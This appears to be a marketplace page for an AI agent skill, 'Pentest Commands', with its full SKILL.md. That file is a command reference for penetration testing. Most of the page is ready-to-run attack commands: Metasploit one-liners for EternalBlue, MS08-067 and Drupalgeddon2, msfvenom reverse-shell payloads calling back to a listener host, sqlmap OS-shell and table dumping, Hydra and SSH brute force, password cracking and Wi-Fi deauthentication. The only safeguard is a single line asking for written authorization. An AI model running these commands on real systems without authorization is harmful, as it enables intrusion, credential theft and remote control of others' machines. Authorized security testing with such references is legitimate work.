Pentest Commands
This skill should be used when the user asks to "run pentest commands", "scan with nmap", "use metasploit exploits", "crack passwords with hydra or john", "scan web vulnerabilities with nikto", "enumerate networks", or needs essential penetration testing command references.
Best use case
Pentest Commands is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
This skill should be used when the user asks to "run pentest commands", "scan with nmap", "use metasploit exploits", "crack passwords with hydra or john", "scan web vulnerabilities with nikto", "enumerate networks", or needs essential penetration testing command references.
Teams using Pentest Commands should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/pentest-commands/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How Pentest Commands Compares
| Feature / Agent | Pentest Commands | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
This skill should be used when the user asks to "run pentest commands", "scan with nmap", "use metasploit exploits", "crack passwords with hydra or john", "scan web vulnerabilities with nikto", "enumerate networks", or needs essential penetration testing command references.
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
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SKILL.md Source
# Pentest Commands ## Purpose Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments. ## Inputs/Prerequisites - Kali Linux or penetration testing distribution - Target IP addresses with authorization - Wordlists for brute forcing - Network access to target systems - Basic understanding of tool syntax ## Outputs/Deliverables - Network enumeration results - Identified vulnerabilities - Exploitation payloads - Cracked credentials - Web vulnerability findings ## Core Workflow ### 1. Nmap Commands **Host Discovery:** ```bash # Ping sweep nmap -sP 192.168.1.0/24 # List IPs without scanning nmap -sL 192.168.1.0/24 # Ping scan (host discovery) nmap -sn 192.168.1.0/24 ``` **Port Scanning:** ```bash # TCP SYN scan (stealth) nmap -sS 192.168.1.1 # Full TCP connect scan nmap -sT 192.168.1.1 # UDP scan nmap -sU 192.168.1.1 # All ports (1-65535) nmap -p- 192.168.1.1 # Specific ports nmap -p 22,80,443 192.168.1.1 ``` **Service Detection:** ```bash # Service versions nmap -sV 192.168.1.1 # OS detection nmap -O 192.168.1.1 # Comprehensive scan nmap -A 192.168.1.1 # Skip host discovery nmap -Pn 192.168.1.1 ``` **NSE Scripts:** ```bash # Vulnerability scan nmap --script vuln 192.168.1.1 # SMB enumeration nmap --script smb-enum-shares -p 445 192.168.1.1 # HTTP enumeration nmap --script http-enum -p 80 192.168.1.1 # Check EternalBlue nmap --script smb-vuln-ms17-010 192.168.1.1 # Check MS08-067 nmap --script smb-vuln-ms08-067 192.168.1.1 # SSH brute force nmap --script ssh-brute -p 22 192.168.1.1 # FTP anonymous nmap --script ftp-anon 192.168.1.1 # DNS brute force nmap --script dns-brute 192.168.1.1 # HTTP methods nmap -p80 --script http-methods 192.168.1.1 # HTTP headers nmap -p80 --script http-headers 192.168.1.1 # SQL injection check nmap --script http-sql-injection -p 80 192.168.1.1 ``` **Advanced Scans:** ```bash # Xmas scan nmap -sX 192.168.1.1 # ACK scan (firewall detection) nmap -sA 192.168.1.1 # Window scan nmap -sW 192.168.1.1 # Traceroute nmap --traceroute 192.168.1.1 ``` ### 2. Metasploit Commands **Basic Usage:** ```bash # Launch Metasploit msfconsole # Search for exploits search type:exploit name:smb # Use exploit use exploit/windows/smb/ms17_010_eternalblue # Show options show options # Set target set RHOST 192.168.1.1 # Set payload set PAYLOAD windows/meterpreter/reverse_tcp # Run exploit exploit ``` **Common Exploits:** ```bash # EternalBlue msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOST 192.168.1.1; exploit" # MS08-067 (Conficker) msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.1.1; exploit" # vsftpd backdoor msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit" # Shellshock msfconsole -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit" # Drupalgeddon2 msfconsole -x "use exploit/unix/webapp/drupal_drupalgeddon2; set RHOST 192.168.1.1; exploit" # PSExec msfconsole -x "use exploit/windows/smb/psexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit" ``` **Scanners:** ```bash # TCP port scan msfconsole -x "use auxiliary/scanner/portscan/tcp; set RHOSTS 192.168.1.0/24; run" # SMB version scan msfconsole -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run" # SMB share enumeration msfconsole -x "use auxiliary/scanner/smb/smb_enumshares; set RHOSTS 192.168.1.0/24; run" # SSH brute force msfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run" # FTP brute force msfconsole -x "use auxiliary/scanner/ftp/ftp_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run" # RDP scanning msfconsole -x "use auxiliary/scanner/rdp/rdp_scanner; set RHOSTS 192.168.1.0/24; run" ``` **Handler Setup:** ```bash # Multi-handler for reverse shells msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit" ``` **Payload Generation (msfvenom):** ```bash # Windows reverse shell msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe # Linux reverse shell msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf # PHP reverse shell msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php # ASP reverse shell msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp # WAR file msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war # Python payload msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py ``` ### 3. Nikto Commands ```bash # Basic scan nikto -h http://192.168.1.1 # Comprehensive scan nikto -h http://192.168.1.1 -C all # Output to file nikto -h http://192.168.1.1 -output report.html # Plugin-based scans nikto -h http://192.168.1.1 -Plugins robots nikto -h http://192.168.1.1 -Plugins shellshock nikto -h http://192.168.1.1 -Plugins heartbleed nikto -h http://192.168.1.1 -Plugins ssl # Export to Metasploit nikto -h http://192.168.1.1 -Format msf+ # Specific tuning nikto -h http://192.168.1.1 -Tuning 1 # Interesting files only ``` ### 4. SQLMap Commands ```bash # Basic injection test sqlmap -u "http://192.168.1.1/page?id=1" # Enumerate databases sqlmap -u "http://192.168.1.1/page?id=1" --dbs # Enumerate tables sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables # Dump table sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump # OS shell sqlmap -u "http://192.168.1.1/page?id=1" --os-shell # POST request sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test" # Cookie injection sqlmap -u "http://192.168.1.1/page" --cookie="id=1*" # Bypass WAF sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment # Risk and level sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5 ``` ### 5. Hydra Commands ```bash # SSH brute force hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1 # FTP brute force hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.1 # HTTP POST form hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid" # HTTP Basic Auth hydra -l admin -P passwords.txt 192.168.1.1 http-get /admin/ # SMB brute force hydra -l admin -P passwords.txt smb://192.168.1.1 # RDP brute force hydra -l admin -P passwords.txt rdp://192.168.1.1 # MySQL brute force hydra -l root -P passwords.txt mysql://192.168.1.1 # Username list hydra -L users.txt -P passwords.txt ssh://192.168.1.1 ``` ### 6. John the Ripper Commands ```bash # Crack password file john hash.txt # Specify wordlist john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt # Show cracked passwords john hash.txt --show # Specify format john hash.txt --format=raw-md5 john hash.txt --format=nt john hash.txt --format=sha512crypt # SSH key passphrase ssh2john id_rsa > ssh_hash.txt john ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt # ZIP password zip2john file.zip > zip_hash.txt john zip_hash.txt ``` ### 7. Aircrack-ng Commands ```bash # Monitor mode airmon-ng start wlan0 # Capture packets airodump-ng wlan0mon # Target specific network airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon # Deauth attack aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon # Crack WPA handshake aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap ``` ### 8. Wireshark/Tshark Commands ```bash # Capture traffic tshark -i eth0 -w capture.pcap # Read capture file tshark -r capture.pcap # Filter by protocol tshark -r capture.pcap -Y "http" # Filter by IP tshark -r capture.pcap -Y "ip.addr == 192.168.1.1" # Extract HTTP data tshark -r capture.pcap -Y "http" -T fields -e http.request.uri ``` ## Quick Reference ### Common Port Scans ```bash # Quick scan nmap -F 192.168.1.1 # Full comprehensive nmap -sV -sC -A -p- 192.168.1.1 # Fast with version nmap -sV -T4 192.168.1.1 ``` ### Password Hash Types | Mode | Type | |------|------| | 0 | MD5 | | 100 | SHA1 | | 1000 | NTLM | | 1800 | sha512crypt | | 3200 | bcrypt | | 13100 | Kerberoast | ## Constraints - Always have written authorization - Some scans are noisy and detectable - Brute forcing may lock accounts - Rate limiting affects tools ## Examples ### Example 1: Quick Vulnerability Scan ```bash nmap -sV --script vuln 192.168.1.1 ``` ### Example 2: Web App Test ```bash nikto -h http://target && sqlmap -u "http://target/page?id=1" --dbs ``` ## Troubleshooting | Issue | Solution | |-------|----------| | Scan too slow | Increase timing (-T4, -T5) | | Ports filtered | Try different scan types | | Exploit fails | Check target version compatibility | | Passwords not cracking | Try larger wordlists, rules |
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